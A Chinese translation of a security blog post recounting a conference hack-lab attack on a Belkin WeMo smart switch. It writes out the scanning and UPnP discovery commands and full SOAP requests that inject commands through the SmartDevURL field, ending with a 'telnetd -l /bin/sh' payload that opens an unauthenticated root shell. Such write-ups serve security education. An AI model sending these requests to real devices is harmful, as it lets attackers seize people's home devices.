上有很多的活动,其中我最喜欢的是由Tripwire发起的物联网骇客实验室(Internet of Things Hack Lab)。
物联网(Internet of Things)是指具有网络功能的物理设备。这些设备具有相当多样的功能,例如:智能灯泡、智能温控器、智能插座,以及我们下文要讲的智能交换机。
大会上Tripwire向参会者展示了针对全球物联网攻击的研究。他们同时列举了一份物联网设备表,表内包含从路由器到智能电视机等设备,还带来了一段针对家庭路由器攻击的演示视频。
在会议的第一天里,我总是随处乱转跟一群厂商的工作人员交流,想看看这些厂商都做了些什么软件或硬件产品以及他们提供了哪些服务。第一天接近尾声的时候,我决定找到物联网骇客实验室聊聊,因为我完全被他们的设备所吸引。他们告诉我面前所有的设备都是存在漏洞的并且任何人都可以坐下来尝试去攻击它们。也许是我太感兴趣了,直接抄起我的脏手开始了攻击。但是很不幸,那时没有可用的笔记本了,所以我决定第二天再来。第二天我带着我那装有KALI虚拟机的笔记本和一个无线适配器就来了。等坐下之后我就开始查找面前这些设备的漏洞了。我发现并成功利用漏洞的第一个设备是TRENDNet路由器,它存在一个认证绕过的漏洞。第二个设备是Belkin WeMo交换机。
这篇文章记录了我面对那些曾经听说过但从未见过的设备和协议攻击的经历。
关于设备
贝尔金WeMo交换机 是贝尔金只能家居的一部分,用于控制开关所有链接的设备,也可以对链接的设备分配任务。下面是一些关于我攻击的交换机的具体配置:
设备名称: WeMo Switch
固件: WeMo_WW_2.00.8326.PVT-OWRT-SNS
一台没有进行过任何配置且第一次接通电源开机的交换机,开机后直接连入到无线网络中。通常情况下,这事应该通过无线网使用智能手机对交换机进行配置。
当我将笔记本连入到WeMo的无线网后,我获取到的IP为了 10.22.22.102 。然后使用netdiscover工具( netdiscover -i wlan0 -r 10.22.22.0/24 ),我发现网关IP为 10.22.22.1 。
扫描设备
当我确定了网段内的IP地址后,下一步就是进行端口扫描。使用nmap工具( nmap -sS -sU -sV -v -e wlan0 10.22.22.1 ),扫描结果如下:
如何与设备进行通信
在浏览器中访问 10.22.22.1 的49152端口发现是404。然后使用M-SEARCH命令来查找哪些UPnP服务是可用的:
printf "M-SEARCH * HTTP/1.1/r/nHOST:239.255.255.250:1900/r/nST:upnp:rootdevice/r/nMX:10/r/nMAN:/"ssdp:discover/"/r/n/r/n" | nc -u 239.255.255.250 1900 -p 1900
输完命令后我发现了一个netcat监听,它向我回复如下相应:
nc -lup 1900 HTTP/1.1 200 OK CACHE-CONTROL: max-age=86400 DATE: Sat, 01 Jan 2000 01:23:41 GMT EXT: LOCATION: http://10.22.22.1:49152/setup.xml OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01 01-NLS: 794dc9a6-1dd2-11b2-9c60-cdf5773d7a81 SERVER: Unspecified, UPnP/1.0, Unspecified X-User-Agent: redsonic ST: upnp:rootdevice USN: uuid:Socket-1_0-XXXXXXXXXXXXXX::upnp:rootdevice
我们发现存在一个包含交换机配置的文件 http://10.22.22.1:49152/setup.xml ,里面包含模块名称、模块数量和序列号等配置信息。这个文件还列出来能够通过UPnP进行访问的服务,和一个包含描述使用方法和变量的XML文件路径。其中我们发现一个感兴趣的服务 basicevent 和一个包含具体服务使用方法的文档路径:http://10.22.22.1:49152/eventservice.xml。
发现漏洞
交换机只接受少数方法发来的数据,分别是:
· ChangeFriendlyName · SetSmartDevInfo
为了利用这些方法我伪造了一个SOAP请求,下面是一个请求例子:
POST <Service URL> HTTP/1.1 Content-Length: <variable> SOAPACTION: "<Service Type>#<Method>" Content-Type: text/xml; charset="utf-8" Accept: "" <?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:<Method> xmlns:u="<Service Type>"> <<Variable>><Value></<Variable>> </u:<Method>> </s:Body> </s:Envelope>
看来 ChangeFriendlyName 不存在漏洞,但是 SetSmartDevInfo 看起来存在漏洞。当我设置 SmartDevURL 值为'reboot'后交换机重启了。下面是这个请求数据包:
POST /upnp/control/basicevent1 HTTP/1.1 Content-Length: <variable> SOAPACTION: "urn:Belkin:service:basicevent:1#SetSmartDevInfo" Content-Type: text/xml; charset="utf-8" Accept: "" <?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1"> <SmartDevURL>`reboot`</SmartDevURL> </u:SetSmartDevInfo> </s:Body> </s:Envelope>
下一步就是想办法GetShell了。
获取ROOT
当我知道可以执行命令后,我就知道是时候GetShell了。交换机可能会存在某种登录服务像Telnet或者SSH。我首先尝试设置 telnet ,通过将 SmartDevURL 值设置为'telnetd'。然后进行了一次快速的扫描( nmap -sS -vvv 10.22.22.1 )以查看交换机上面是否开启了telnet。
看上去tenlet是开启了。然而当我尝试telnet到交换机上时却被提示输入用户名和密码。在尝试了5分钟的弱密码攻击失败后,我决定绕过认证。经过一番研究我发现 telnet 可以通过设置 -l 标志来决定登录时执行的操作。通过设置 SmartDevURL 值为'telnetd –l /bin/sh',现在我在执行telnet后直接得到了一个shell而不再是要求输用户名密码的登录框了。具体数据包如下:
POST /upnp/control/basicevent1 HTTP/1.1 Content-Length: <variable> SOAPACTION: "urn:Belkin:service:basicevent:1#SetSmartDevInfo" Content-Type: text/xml; charset="utf-8" Accept: "" <?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1"> <SmartDevURL>`telnetd -l /bin/sh`</SmartDevURL> </u:SetSmartDevInfo> </s:Body> </s:Envelope>
后记
当我得到了ROOT后一切都成为了可能。现在我们得到了WeMo交换机的完全控制权了,可以随便开启关闭链接的设备。另外,我们还可以修改交换机的一些操作,例如增加一些功能等。当其他人获取到这种权限后,他们可能会把这些智能设备拿来做非法的事。比如做为僵尸网络中的一个节点。
关于作者:
Bryon Hart是一个非常喜爱安全的信息系统安全专家。他是谢尔丹学院应用信息科学课程的本科毕业生。他同时拥有谢尔丹学院计算机工程的文凭。Bryon现在是道衡(Duff & Phelps)信息安全服务团队的安全分析师。
*原文地址: tripwire ,译者/xiaix,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)